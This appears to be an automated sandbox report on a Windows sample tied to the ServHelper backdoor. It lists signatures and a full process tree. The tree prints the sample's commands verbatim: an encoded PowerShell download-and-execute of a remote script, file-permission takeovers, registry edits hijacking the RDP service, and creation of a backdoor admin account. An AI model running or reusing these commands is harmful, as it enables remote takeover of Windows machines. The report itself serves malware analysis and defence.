Analysis

  • max time kernel
    130s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    17/05/2021, 17:16

General

  • Target
    b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
  • Size 6.1MB
  • Sample210517-e319slvrz2
  • SHA256 b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe
    "C:\Users\Admin\AppData\Local\Temp\b436fbb05650df4facc948f49ee619c4825e747c373f2d461d5a1c26b0c7aa15.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:548
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1332
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:460
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:620
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1908
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:280
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1336
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1660
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1580
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:784
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        3⤵
          PID:1904
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          3⤵
          • Modifies registry key
          PID:1648
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          3⤵
            PID:880
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1840
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
                PID:1536
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:872
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1996
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1320
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    6⤵
                      PID:1620
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                3⤵
                  PID:940
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                      PID:324
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                          PID:1328
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 start TermService
                            6⤵
                              PID:1688
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                        3⤵
                          PID:1328
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                          3⤵
                            PID:1916
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user WgaUtilAcc 000000 /del
                        1⤵
                          PID:280
                          • C:\Windows\system32\net.exe
                            net.exe user WgaUtilAcc 000000 /del
                            2⤵
                              PID:1788
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                3⤵
                                  PID:1920
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc cNolaOVr /add
                              1⤵
                                PID:2020
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc cNolaOVr /add
                                  2⤵
                                    PID:928
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user WgaUtilAcc cNolaOVr /add
                                      3⤵
                                        PID:1224
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                    1⤵
                                      PID:1816
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        2⤵
                                          PID:976
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            3⤵
                                              PID:1320
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                          1⤵
                                            PID:1168
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              2⤵
                                                PID:620
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  3⤵
                                                    PID:752
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                1⤵
                                                  PID:524
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    2⤵
                                                      PID:280
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        3⤵
                                                          PID:1648
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user WgaUtilAcc cNolaOVr
                                                      1⤵
                                                        PID:928
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user WgaUtilAcc cNolaOVr
                                                          2⤵
                                                            PID:1512
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user WgaUtilAcc cNolaOVr
                                                              3⤵
                                                                PID:1996
                                                          • C:\Windows\System32\cmd.exe
                                                            cmd.exe /C wmic path win32_VideoController get name
                                                            1⤵
                                                              PID:1524
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                2⤵
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1356
                                                            • C:\Windows\System32\cmd.exe
                                                              cmd.exe /C wmic CPU get NAME
                                                              1⤵
                                                                PID:1732
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic CPU get NAME
                                                                  2⤵
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:112
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                1⤵
                                                                  PID:2000
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    2⤵
                                                                      PID:1764
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        3⤵
                                                                        • Drops file in Windows directory
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:1512

                                                                  Network

                                                                        MITRE ATT&CK Enterprise v6

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        memory/548-91-0x0000000002650000-0x0000000002651000-memory.dmp

                                                                        memory/548-99-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

                                                                        memory/548-93-0x0000000002760000-0x0000000002761000-memory.dmp

                                                                        memory/548-112-0x000000001B670000-0x000000001B671000-memory.dmp

                                                                        memory/548-113-0x000000001B680000-0x000000001B681000-memory.dmp

                                                                        memory/548-87-0x000000001ACE0000-0x000000001ACE2000-memory.dmp

                                                                        memory/548-88-0x000000001ACE4000-0x000000001ACE6000-memory.dmp

                                                                        memory/548-89-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                        memory/548-94-0x0000000001E70000-0x0000000001E71000-memory.dmp

                                                                        memory/948-120-0x000000001A924000-0x000000001A926000-memory.dmp

                                                                        memory/948-119-0x000000001A920000-0x000000001A922000-memory.dmp

                                                                        memory/948-122-0x000000001A8F0000-0x000000001A8F1000-memory.dmp

                                                                        memory/948-127-0x000000001A910000-0x000000001A911000-memory.dmp

                                                                        memory/948-126-0x000000001B560000-0x000000001B561000-memory.dmp

                                                                        memory/948-124-0x000000001A9A0000-0x000000001A9A1000-memory.dmp

                                                                        memory/1092-65-0x0000000043767000-0x0000000043768000-memory.dmp

                                                                        memory/1092-64-0x0000000043766000-0x0000000043767000-memory.dmp

                                                                        memory/1092-62-0x0000000043762000-0x0000000043764000-memory.dmp

                                                                        memory/1092-60-0x0000000043C10000-0x0000000044031000-memory.dmp

                                                                        memory/1092-63-0x0000000043764000-0x0000000043766000-memory.dmp

                                                                        memory/1324-79-0x000000001B7A0000-0x000000001B7A1000-memory.dmp

                                                                        memory/1324-68-0x00000000022E0000-0x00000000022E1000-memory.dmp

                                                                        memory/1324-72-0x000000001A844000-0x000000001A846000-memory.dmp

                                                                        memory/1324-77-0x000000001A84A000-0x000000001A869000-memory.dmp

                                                                        memory/1324-75-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

                                                                        memory/1324-78-0x000000001B4C0000-0x000000001B4C1000-memory.dmp

                                                                        memory/1324-67-0x000007FEFBAA1000-0x000007FEFBAA3000-memory.dmp

                                                                        memory/1324-151-0x000000001C6B0000-0x000000001C6B1000-memory.dmp

                                                                        memory/1324-70-0x00000000024C0000-0x00000000024C1000-memory.dmp

                                                                        memory/1324-73-0x000000001B3A0000-0x000000001B3A1000-memory.dmp

                                                                        memory/1324-80-0x000000001B3E0000-0x000000001B3E1000-memory.dmp

                                                                        memory/1324-71-0x000000001A840000-0x000000001A842000-memory.dmp

                                                                        memory/1324-69-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

                                                                        memory/1332-143-0x000000001A9D4000-0x000000001A9D6000-memory.dmp

                                                                        memory/1332-142-0x000000001A9D0000-0x000000001A9D2000-memory.dmp

                                                                        memory/1512-200-0x0000000019590000-0x0000000019592000-memory.dmp

                                                                        memory/1512-201-0x0000000019594000-0x0000000019596000-memory.dmp

                                                                        memory/1512-202-0x000000001959A000-0x00000000195B9000-memory.dmp